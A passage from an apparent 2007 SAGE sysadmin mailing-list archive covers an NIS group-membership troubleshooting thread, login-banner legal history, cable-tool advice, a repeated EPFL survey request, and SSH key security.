> Linux pickle 2.4.26-openmosix1 #10 SMP Wed Sep 14 10:18:08 EDT 2005 i686 i686 i386 GNU/Linux
> [bergman@pickle ~]$ cat /etc/issue
> Fedora Core release 1 (Yarrow)
> Kernel \r on an \m
> [bergman@pickle ~]$  rpm -qa | egrep "nis|yp|shadow"
> shadow-utils-4.0.3-12
> ypbind-1.12-3
> yp-tools-2.8-2
> 	(some irrelevent entries deleted)
> [bergman@pickle ~]$
> [bergman@pickle ~]$ su -
> Password:
> [root@pickle root]# id
> uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
> 	(now I'm root...still not in the matlab group)
> [root@pickle root]# su - bergman
> 	(change from root back to bergman)
> [bergman@pickle ~]$ id
> uid=25100(bergman) gid=25000(sbiauser) groups=25000(sbiauser),110(matlab)
> 	(more strangeness...now I'm in the groups as expected)
> ---------------------------------------------------------------------------
> 
> Things I've checked:
> 
> 	the server "pickle" is binding to the correct NIS servers 
> 
> 	no /etc/gshadow file exists on pickle
> 
> 	nscd not running on pickle
> 
> 	restarting ypbind has no effect
> 	
> 	user "bergman" is not in /etc/group or /etc/passwd on pickle
> 	(data is coming solely from NIS maps)
> 
> 	there are fewer than 1024 characters in the matlab group entry
> 
> 	The group name and GID are unique to the NIS map (ie., neither
> 	the name nor GID exists in /etc/group on any server)
> 
> 	Testing YP services works correctly, and "bergman" is a member of the 
> 	group
> 	
> 		[bergman@pickle test_groups]$ ypmatch matlab group.byname
> 		matlab:*:110:larry,moe,curly,bergman


I seem to remember that some earlier versions of RH had difficulty with 
groups from NIS if the GID was <500.  These are several year old 
memories from RH 6.x 7.x days.

I'd also try adding a second group to see if it affects pickle for any 
new groups or if it only happens for this one.

Hugh


From sage-members-owner@usenix.org Fri Jan 26 06:00:14 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0QDxx1L004682
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 26 Jan 2007 06:00:05 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0QDxwS3004681
	for sage-members-0utGoign; Fri, 26 Jan 2007 05:59:58 -0800 (PST)
Received: from ureach.com (mail33.ureach.com [63.236.74.69])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0QDxnUs004670
	for <sage-members@sage.org>; Fri, 26 Jan 2007 05:59:55 -0800 (PST)
Received: from www21.ureach.com (www21.ureach.com [172.16.2.49])
	by ureach.com (8.13.6/8.13.6) with ESMTP id l0QDrtdA010167;
	Fri, 26 Jan 2007 08:53:55 -0500
Received: (from nobody@localhost)
	by www21.ureach.com (8.9.3/8.9.1) id IAA30016;
	Fri, 26 Jan 2007 08:53:55 -0500
Date: Fri, 26 Jan 2007 08:53:55 -0500
Message-Id: <200701261353.IAA30016@www21.ureach.com>
Received: from [69.141.236.136] by www21.ureach.com via HTTP;
	Fri, 26 Jan 2007 13:53:55 GMT
To: "Peter Van Epp" <vanepp@sfu.ca>, sage-members@sage.org
From: William Pechter <pechter@ureach.com>
Reply-to: <pechter@ureach.com>
Subject: Re: Re: [SAGE] MOTD & Legal Issues
Mime-Version: 1.0
Content-Type: Text/Plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-vsuite-type: e
X-DCC-dmv.com-Metrics: voyager 1181; bulk rep Body=many Fuz1=many Fuz2=many
	rep=48%
Sender: owner-sage-members@usenix.org
Precedence: bulk

I was told there was an issue back there in the 85-86 timeframe.


This case of "Welcome to VAX/VMS" was made by DEC's legal
department around then.

IIRC this was done about the time of the VMS 4.x release
candidate -- which really enhanced the security warnings.
This was the first one that enforced the change of Field and
System passwords from the install defaults.

I heard that this was related to Kevin Mitnick travels through
DEC's Easynet.  I looked on Google and found the dates of 1987
and 1988 for that -- so perhaps it was known internally as early
as 1985-86 and only got reported after that point.

The banners inside DEC were changed about that time -- I left
DEC in mid 1986 -- so it couldn't have been after that.  The
word was "Welcome to VAX/VMS" before login was possibly
considered an invitation to use the machine and could be used as
a defense for hacking. 

My friend was almost fired when working Field Service night
shift with me.  He used to randomly pick out machines internally
to make sure  the "Field" and "System" passwords were changed --
and hit the new field test boxes with the alerts cranked up.  He
was in the manager's office the next morning.

Bill
-- 
d|i|g|i|t|a|l had it THEN.
Don't you wish you could still buy it now!
pechter-at-ureach.com






---- On Thu, 25 Jan 2007, Peter Van Epp (vanepp@sfu.ca) wrote:

> On Thu, Jan 25, 2007 at 11:52:03AM -0800, Jason Dusek wrote:
> > Hi All,
> > 
> > I'm curious about legal issues surrounding the Message of
The Day on
> > UNIX/Linux servers. I can remember reading somewhere that an
inviting
> > MOTD creates a legal loophole for intruders -- if they log
in with
> > stolen credentials and the machine says "Welcome!", then
they may take
> > that as permission to go about their dirty business.
> > 
> > -- 
> > _jsn
> 
> 	As I recall this whole topic started with a legal opinion
(with the
> advise that it was at the point only an opinion there was no
known case law)
> that there was a grey area in the laws at that point (which
may of course 
> have changed over the years) from the US Justice Department
sometime in the 
> early 90s (92/93 perhaps).  There was a CERT advisory at the
time which said 
> it is prudent to have a login banner (and gave suggested
language). I expect 
> the advisory is still in the CERT archive.
> 
> Peter Van Epp / Operations and Technical Support 
> Simon Fraser University, Burnaby, B.C. Canada
> 
> 
> 



From sage-members-owner@usenix.org Fri Jan 26 08:10:27 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0QGACSh009240
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 26 Jan 2007 08:10:17 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0QGACnw009239
	for sage-members-0utGoign; Fri, 26 Jan 2007 08:10:12 -0800 (PST)
Received: from colibri.verisign.com (colibri.verisign.com [65.205.251.74])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0QG9lQr009217
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Fri, 26 Jan 2007 08:09:58 -0800 (PST)
Received: from MOU1WNEXCN02.vcorp.ad.vrsn.com (mailer2.verisign.com
	[65.205.251.35])
	by colibri.verisign.com (8.13.6/8.13.4) with ESMTP id l0QFYKwn004644;
	Fri, 26 Jan 2007 07:34:20 -0800
Received: from oly1wnexcb01.vcorp.ad.vrsn.com ([10.55.13.56]) by
	MOU1WNEXCN02.vcorp.ad.vrsn.com with Microsoft
	SMTPSVC(6.0.3790.1830); Fri, 26 Jan 2007 07:34:19 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: [SAGE] NIS secondary group not applied at login
Date: Fri, 26 Jan 2007 07:34:19 -0800
Message-ID: <94D5A22A38898A4DACB142896C0717D1026A25CD@oly1wnexcb01.vcorp.ad.vrsn.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [SAGE] NIS secondary group not applied at login
Thread-Index: AcdA/6mGUdLuG/xsT2CxM9+zhGNnnAAX4/wQ
From: "Young, Randy" <RWYoung@verisign.com>
To: <bergman@merctech.com>, <sage-members@sage.org>
X-OriginalArrivalTime: 26 Jan 2007 15:34:19.0973 (UTC)
	FILETIME=[725CC750:01C7415F]
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id
	l0QGAAQq009235
Sender: owner-sage-members@usenix.org
Precedence: bulk

What does your /etc/nsswitch.conf say in the "group:" listing?  It
SHOULD say "files nis".

Randy 

> -----Original Message-----
> From: owner-sage-members@usenix.org 
> [mailto:owner-sage-members@usenix.org] On Behalf Of 
> bergman@merctech.com
> Sent: Thursday, January 25, 2007 8:00 PM
> To: sage-members@sage.org
> Subject: [SAGE] NIS secondary group not applied at login
> 
> I'm having a perplexing issue with NIS groups. I've created a 
> new NIS group named "matlab" on our NIS master, and populated 
> the group with several user names. The group is visible to 
> all the NIS clients (I do not believe that this is a problem 
> with the NIS master or slave).
> 
> Logging into each NIS client except the server "pickle" 
> correctly assigns users to "matlab" as a secondary group. For 
> just one NIS client, users only get their primary (entry in 
> /etc/passwd) group membership.  The server that's having the 
> problem does use NIS successfully for authentication, 
> automount maps, UID<-> username and GID<->groupname mapping, etc.
> 
> The matlab group is correctly recognized on other servers in 
> our NIS domain (Irix6.5, RHEL4, Centos4, RH7.2, RH8, Solaris5.8).
> 
> 
> ---------------  EXAMPLE 
> --------------------------------------------------
> [bergman@piquin src]$ ssh pickle
> 	(begin new login session)
> [bergman@pickle ~]$ id
> uid=25100(bergman) gid=25000(sbiauser) groups=25000(sbiauser)
> 	(I'm not in the secondary group 110(matlab) as I should 
> be) [bergman@pickle ~]$ id -Gn -- bergman bergman : sbiauser matlab
> 	(now that's odd...running id(1) and specifying my owner username
> 	claims that I am in the expected groups!) 
> [bergman@pickle test_groups]$ which id /usr/bin/id 
> [bergman@pickle test_groups]$ rpm -qf /usr/bin/id
> coreutils-5.0-34.1
> [bergman@pickle test_groups]$ cd
> [bergman@pickle ~]$ which id
> /usr/bin/id
> [bergman@pickle ~]$ rpm -qf /usr/bin/id
> coreutils-5.0-34.1
> [bergman@pickle ~]$ uname -a
> Linux pickle 2.4.26-openmosix1 #10 SMP Wed Sep 14 10:18:08 
> EDT 2005 i686 i686 i386 GNU/Linux [bergman@pickle ~]$ cat 
> /etc/issue Fedora Core release 1 (Yarrow) Kernel \r on an \m 
> [bergman@pickle ~]$  rpm -qa | egrep "nis|yp|shadow"
> shadow-utils-4.0.3-12
> ypbind-1.12-3
> yp-tools-2.8-2
> 	(some irrelevent entries deleted)
> [bergman@pickle ~]$
> [bergman@pickle ~]$ su -
> Password:
> [root@pickle root]# id
> uid=0(root) gid=0(root) 
> groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
> 	(now I'm root...still not in the matlab group) 
> [root@pickle root]# su - bergman
> 	(change from root back to bergman)
> [bergman@pickle ~]$ id
> uid=25100(bergman) gid=25000(sbiauser) 
> groups=25000(sbiauser),110(matlab)
> 	(more strangeness...now I'm in the groups as expected)
> --------------------------------------------------------------
> -------------
> 
> Things I've checked:
> 
> 	the server "pickle" is binding to the correct NIS servers 
> 
> 	no /etc/gshadow file exists on pickle
> 
> 	nscd not running on pickle
> 
> 	restarting ypbind has no effect
> 	
> 	user "bergman" is not in /etc/group or /etc/passwd on pickle
> 	(data is coming solely from NIS maps)
> 
> 	there are fewer than 1024 characters in the matlab group entry
> 
> 	The group name and GID are unique to the NIS map (ie., neither
> 	the name nor GID exists in /etc/group on any server)
> 
> 	Testing YP services works correctly, and "bergman" is a 
> member of the 
> 	group
> 	
> 		[bergman@pickle test_groups]$ ypmatch matlab 
> group.byname
> 		matlab:*:110:larry,moe,curly,bergman
> 		[bergman@pickle test_groups]$ ypmatch 110 group.bygid
> 		matlab:*:110:larry,moe,curly,bergman
> 		[bergman@pickle] ypmatch bergman group.bymember
> 		bergman:110
> 			(as expected, group 110 is "matlab")
> 		[bergman@pickle] yptest -u bergman -m group.bymember
> 			(All tests passed)
> 	
> 	I can manually change to the "matlab" group:
> 		[bergman@pickle] newgrp matlab
> 	 		(succeeds, showing that: the group is 
> recognized on the
> 			server, and that user "bergman" is a member)
> 
> 	The problem isn't just cosmetic:
> 		[bergman@pickle ~] touch foo
> 		[bergman@pickle ~] chgrp matlab foo
> 		chgrp: changing group of `foo': Operation not permitted
> 			(not unexpected, since user "bergman" 
> isn't in the group, but
> 			this demonstrates that the lack of 
> group membership is real,
> 			not just a problem displaying the group name)
> 	
> 	It's not a problem for root, and GID to groupname lookups work:
> 		[root@pickle ~bergman] chgrp matlab foo
> 	 		(succeeds)
> 		[bergman@pickle ~] ls -l foo
> 		-rw-r--r--  1 bergman matlab 0 Jan 25 17:18 fo
> 			(expected, and shows that the server is 
> correctly able to map
> 			GIDs to group names via an NIS lookup)
> 		
> 	
> 	The nsswitch.conf file is correct:
> 		[bergman@pickle ~] grep group /etc/nsswitch.conf
> 		group:      files nis
> 		
> 	
> 	/etc/group has no "+" entry (actually, the behavior is 
> the same if the last
> 	line is "+:::" or "+")
> 
> 	there are no blank lines in /etc/group or in the NIS group map
> 	
> 
> 	there are no /etc/pam.d entries specific to group 
> membership or NIS
> 
> Any suggestions for what I've overlooked? (Unfortunately, 
> upgrading to less antique OS release is NOT an option.)
> 
> -----
> Mark Bergman    Biker, Rock Climber, Unix mechanic, IATSE #1 Stagehand
> 
> http://wwwkeys.pgp.net:11371/pks/lookup?op=get&search=bergman%
> 40merctech.com
> 
> I want a newsgroup with a infinite S/N ratio! Now taking CFV on:
> rec.motorcycles.stagehands.pet-bird-owners.pinballers.unix-supporters
> 15+ So Far--Want to join? Check out: http://www.panix.com/~bergman
> 
> 



From sage-members-owner@usenix.org Fri Jan 26 08:30:38 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0QGUcbO010402
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 26 Jan 2007 08:30:38 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0QGUbNG010401
	for sage-members-0utGoign; Fri, 26 Jan 2007 08:30:38 -0800 (PST)
Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.185])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0QGUAdb010383
	for <sage-members@sage.org>; Fri, 26 Jan 2007 08:30:21 -0800 (PST)
Received: by nf-out-0910.google.com with SMTP id l35so1307851nfa
	for <sage-members@sage.org>; Fri, 26 Jan 2007 08:30:05 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:user-agent:x-accept-language:mime-version:to:subject:x-enigmail-version:content-type:content-transfer-encoding:from;
	b=rJLIwKWZ4tFzk5D1qdvp9JBGa9TmYBiGgDIzj0Keaon4EK8qAnqZvmgBP+BswlIe0oBxBt9o6R9LzXVPiSFvt2Z/f0h9ZxkeWSSSj08wnO+ysbGXIOZehtTO34HYwPlyHDaLqKMmk3iG8bhST+dzjcy5HgzeHioJnWrosMnyxYM=
Received: by 10.49.19.18 with SMTP id w18mr5801309nfi.1169827491844;
	Fri, 26 Jan 2007 08:04:51 -0800 (PST)
Received: from ?9.161.136.24? ( [195.212.29.92])
	by mx.google.com with ESMTP id 20sm3814647uga.2007.01.26.08.04.51;
	Fri, 26 Jan 2007 08:04:51 -0800 (PST)
Message-ID: <45BA26A1.8090003@gmail.com>
Date: Fri, 26 Jan 2007 16:04:49 +0000
User-Agent: Debian Thunderbird 1.0.2 (X11/20060926)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: sage-members@sage.org
Subject: [SAGE] Quality network cable tools.
X-Enigmail-Version: 0.91.0.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 7bit
From: Alex N Markelov <alex.markelov@gmail.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hi Guys!

I'm sure most of you have a proven quality network cable tools (cutters,
crimping tools, punch tools).
What would be the brand of choice?

I'm about to buy myself a set, but do not want to waste my money.
We do not have a huge choice here in the shops, so I will be shopping on
the Net and so I can't grub a piece and see how good/bad is it.

All advices are greatly appreciated.

Regards,
Alex.

-- 
"Openness is the foundation and preservative of friendship...
Let me claim from you at all times your undisguised opinions."
													--- William Wilberforce


From sage-members-owner@usenix.org Tue Jan 30 05:54:36 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0UDsZM1027810
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 30 Jan 2007 05:54:35 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0UDsZkt027809
	for sage-members-0utGoign; Tue, 30 Jan 2007 05:54:35 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.170])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0UDs8pm027773
	for <sage-members@sage.org>; Tue, 30 Jan 2007 05:54:19 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id 74so1475267ugb
	for <sage-members@sage.org>; Tue, 30 Jan 2007 05:54:04 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=ErVvejA0AhA/+6/4+NzOIvKS6yzDJMGawTFzw362rp0S0lt5AI4kZEOheyafZh8Z7ZxlnpvzOOVvtpWzdZenrfk+wI/SW26PM0+n8PZB106gBn/bP2lReXj4hzpvR5uNGbWItWK6QzFHqTDd3OTCBUXixyayfZiaJ9aII8wxy+g=
Received: by 10.78.183.15 with SMTP id g15mr1985387huf.1170164851127;
	Tue, 30 Jan 2007 05:47:31 -0800 (PST)
Received: by 10.78.105.19 with HTTP; Tue, 30 Jan 2007 05:47:31 -0800 (PST)
Message-ID: <b54af0b00701300547y46300fbq57e309b648a65f32@mail.gmail.com>
Date: Tue, 30 Jan 2007 14:47:31 +0100
From: "Olivier Crameri" <olivier.crameri@gmail.com>
Reply-To: olivier.crameri@epfl.ch
To: sage-members@sage.org
Subject: [SAGE] Survey about software upgrades
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

(please apogolize if you receive multiple copies of this message)

Hi all,

in the scope of our research project, we are currently building a
prototype infrastructure to simplify the software upgrade management
cycle.

In order to progress with our study, we are conducting a survey on the
common problems faced by system administrators regarding software
upgrades.

We would highly appreciate if you could help us in completing the
survey. This should not take you more than 10 to 15 minutes. The
survey can be found at this address:
http://survey.epfl.ch/?form=Soft_upgrade_survey

Note that our research project is a joint effort from two different
laboratories at EPFL (http://labos.epfl.ch and http://nsl.epfl.ch in
Switzerland). The project is not affiliated with or sponsored by any
commercial organization. We will share the survey results with the
practitioner and research communities through scientific papers.

Also, in order to recognize your effort in providing the testimony, we
will hold a lottery to select four winners who will each receive a $50
(50 american dollars) amazon.com gift certificate.

We thank you very much for your help,

With best regards,

Olivier Crameri,
Ph.D. Student
Operating Systems Laboratory (http://labos.epfl.ch)
EPFL, Switzerland


From sage-members-owner@usenix.org Tue Jan 30 08:30:00 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0UGTxxg003640
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 30 Jan 2007 08:30:00 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0UGTxPo003637
	for sage-members-0utGoign; Tue, 30 Jan 2007 08:29:59 -0800 (PST)
Received: from elasmtp-banded.atl.sa.earthlink.net
	(elasmtp-banded.atl.sa.earthlink.net [209.86.89.70])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0UGTYpQ003611
	for <sage-members@usenix.org>; Tue, 30 Jan 2007 08:29:44 -0800 (PST)
Received: from [205.243.112.50] (helo=[172.17.4.145])
	by elasmtp-banded.atl.sa.earthlink.net with asmtp
	(TLSv1:AES256-SHA:256) (Exim 4.34) id 1HBvrP-000729-Su
	for sage-members@usenix.org; Tue, 30 Jan 2007 11:29:32 -0500
Message-ID: <45BF7264.70400@the-hendersons.org>
Date: Tue, 30 Jan 2007 10:29:24 -0600
From: Chris Henderson <sage@the-hendersons.org>
User-Agent: Thunderbird 1.5.0.9 (X11/20061219)
MIME-Version: 1.0
To: sage-members@usenix.org
Subject: Re: [SAGE] The danger of SSH keys..
References: <410572049.20070122085528@puryear-it.com>
	<1255865152.20070122113513@puryear-it.com>
	<45B4FD68.2030000@samurai.com> <20070122181800.GB7195@deer-run.com>
	<45B506AC.7090905@samurai.com>
	<1096018946.20070122130129@puryear-it.com>
	<200701230519.l0N5J58Y003591@aopen.compata.com>
In-Reply-To: <200701230519.l0N5J58Y003591@aopen.compata.com>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-ELNK-Trace: dde440e1f507b53d9c7f779228e2f6aeda0071232e20db4ddecb97646b997684caa3091150b952c8350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c
X-Originating-IP: 205.243.112.50
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=3%
Sender: owner-sage-members@usenix.org
Precedence: bulk



On 01/22/2007 11:19 PM, Dave Close wrote:
> With properly implemented password verification (such as including,
> for example, three wrong attempts requires manual intervention), there
> is really no way to crack a password from the outside, almost no matter
> how "weak" it might be. The weakness of passwords is a function of the
> weakness of the server: steal the data base and crack at your leisure.
> Making passwords "stronger" doesn't really have much impact on an
> attack of that sort. Changing passwords periodically also has almost
> no value against an offline crack (no attacker will wait three months
> before trying to use a discovered password). Your only defense is to
> keep the server itself secure.
>
> Some might respond that no security is perfect and the server might
> well be broken, so why not make the offline cracking take a little
> longer? But "stronger" passwords /don't/ make it take any longer, given
> the ability to use pre-computed dictionaries of any size. So you're back
> to trying to keep the server secure, which is the right approach anyway.
>
> Where a passwordless SSH key really presents a problem is that the
> "server" you need to secure is the client machine. It's the one with
> the password "data base", the private key itself. If you don't think
> securing that is possible, maybe you should require SSH users to use
> passwords, instead of or in addition to keys.
>   
One option is to make everyone hop through a well hardened host in order
to access the servers. That way compromised client only gets you to the
hardened host, and you can audit private keys on the hardened host to
make sure that they at least have a passphrase set. You can also control
ssh-keygen on that one machine to enforce a strong passphrase, control
access, etc.

--Chris Henderson


From sage-members-owner@usenix.org Tue Jan 30 10:47:13 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0UIkxuD009618
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 30 Jan 2007 10:47:04 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0UIkxkm009616
	for sage-members-0utGoign; Tue, 30 Jan 2007 10:46:59 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.171])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0UIkJFw009589
	for <sage-members@usenix.org>; Tue, 30 Jan 2007 10:46:32 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id m3so1588876uge
	for <sage-members@usenix.org>; Tue, 30 Jan 2007 10:46:15 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=JdBubIyRdWkT4Jk4inC/jHxqBfuVRQIhbBUhlQDYbSCSD/lzAzo9GuujCGZoIqKHjk0iKBteD3DHK2LJWi6AvHNhbvVSpP0qEkyc5P84qq63ObpoRedJKz5KzV6bedsjbjduaKo+iP0a0FGHIzobFtJFLv/4/Uod/UVWFDwetDc=
Received: by 10.78.149.15 with SMTP id w15mr3519473hud.1170182773162;
	Tue, 30 Jan 2007 10:46:13 -0800 (PST)
Received: by 10.78.105.19 with HTTP; Tue, 30 Jan 2007 10:46:13 -0800 (PST)
Message-ID: <b54af0b00701301046j6735fd77oc51fc2cf063dc24e@mail.gmail.com>
Date: Tue, 30 Jan 2007 19:46:13 +0100
From: "Olivier Crameri" <olivier.crameri@gmail.com>
Reply-To: olivier.crameri@epfl.ch
To: sage-members@usenix.org
Subject: [SAGE] Survey about software upgrades
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

(please apologize if you receive multiple copies of this message)

Hi all,

in the scope of our research project, we are currently building a
prototype infrastructure to simplify the software upgrade management
cycle.

In order to progress with our study, we are conducting a survey on the
common problems faced by system administrators regarding software
upgrades.

We would highly appreciate if you could help us in completing the
survey. This should not take you more than 10 to 15 minutes. The
survey can be found at this address:
http://survey.epfl.ch/?form=Soft_upgrade_survey

Note that our research project is a joint effort from two different
laboratories at EPFL (http://labos.epfl.ch and http://nsl.epfl.ch in
Switzerland). The project is not affiliated with or sponsored by any
commercial organization. We will share the survey results with the
practitioner and research communities through scientific papers.

Also, in order to recognize your effort in providing the testimony, we
will hold a lottery to select four winners who will each receive a $50
(50 american dollars) amazon.com gift certificate.

We thank you very much for your help,

With best regards,

Olivier Crameri,
Ph.D. Student
Operating Systems Laboratory (http://labos.epfl.ch)
EPFL, Switzerland


From sage-members-owner@usenix.org Wed Jan 31 02:46:47 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0VAk9P8010309
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 31 Jan 2007 02:46:36 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0VAk9NV010308
	for sage-members-0utGoign; Wed, 31 Jan 2007 02:46:09 -0800 (PST)
Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.189])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0VAjQEn010281
	for <sage-members@usenix.org>; Wed, 31 Jan 2007 02:46:07 -0800 (PST)
Received: by nf-out-0910.google.com with SMTP id g2so446093nfe
	for <sage-members@usenix.org>; Wed, 31 Jan 2007 02:45:22 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:mime-version:content-transfer-encoding:message-id:content-type:to:subject:date:x-mailer:from;
	b=irRZrK4cFIDTY3PZjuXm216JBHiiAWn7SPXaLQMb/hnbk1sNSRxQu21bUlNgsOBjHL4vx66WG1i/8YYXnihtDGseG8gM8qzAQNG9BP1pSNYsSae6qpALlIopCoCqukReZg5Q06uQDsMgkL1w7zeIOIp8Qxz+ev4PiR1dNDTiP1Y=
Received: by 10.49.26.18 with SMTP id d18mr2250684nfj.1170240319691;
	Wed, 31 Jan 2007 02:45:19 -0800 (PST)
Received: from ?128.178.52.94? ( [128.178.52.94])
	by mx.google.com with ESMTP id v20sm5647110nfc.2007.01.31.02.45.18;
	Wed, 31 Jan 2007 02:45:19 -0800 (PST)
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Transfer-Encoding: 7bit
Message-Id: <46A0DD94-C0E3-4C50-B157-98D7DF2C03CE@epfl.ch>
Content-Type: text/plain; charset=US-ASCII; format=flowed
To: sage-members@usenix.org
Subject: [SAGE] Survey about software upgrades
Date: Wed, 31 Jan 2007 11:45:14 +0100
X-Mailer: Apple Mail (2.752.3)
From: Olivier Crameri <olivier.crameri@gmail.com>
Sender: owner-sage-members@usenix.org
Precedence: bulk

(please apologize if you receive multiple copies of this message)
(I'm resending this message, since it never got posted)

Hi all,

in the scope of our research project, we are currently building a
prototype infrastructure to simplify the software upgrade management
cycle.

In order to progress with our study, we are conducting a survey on the
common problems faced by system administrators regarding software
upgrades.

We would highly appreciate if you could help us in completing the
survey. This should not take you more than 10 to 15 minutes. The
survey can be found at this address:
http://survey.epfl.ch/?form=Soft_upgrade_survey

Note that our research project is a joint effort from two different
laboratories at EPFL (http://labos.epfl.ch and http://nsl.epfl.ch in
Switzerland). The project is not affiliated with or sponsored by any
commercial organization. We will share the survey results with the
practitioner and research communities through scientific papers.

Also, in order to recognize your effort in providing the testimony, we
will hold a lottery to select four winners who will each receive a $50
(50 american dollars) amazon.com gift certificate.

We thank you very much for your help,

With best regards,

Olivier Crameri,
Ph.D. Student
Operating Systems Laboratory (http://labos.epfl.ch)
EPFL, Switzerland


From sage-members-owner@usenix.org Wed Jan 31 07:45:13 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0VFitSi027596
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 31 Jan 2007 07:45:00 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0VFitna027595
	for sage-members-0utGoign; Wed, 31 Jan 2007 07:44:55 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0VFi8dE027558
	for <sage-members@usenix.org>; Wed, 31 Jan 2007 07:44:18 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
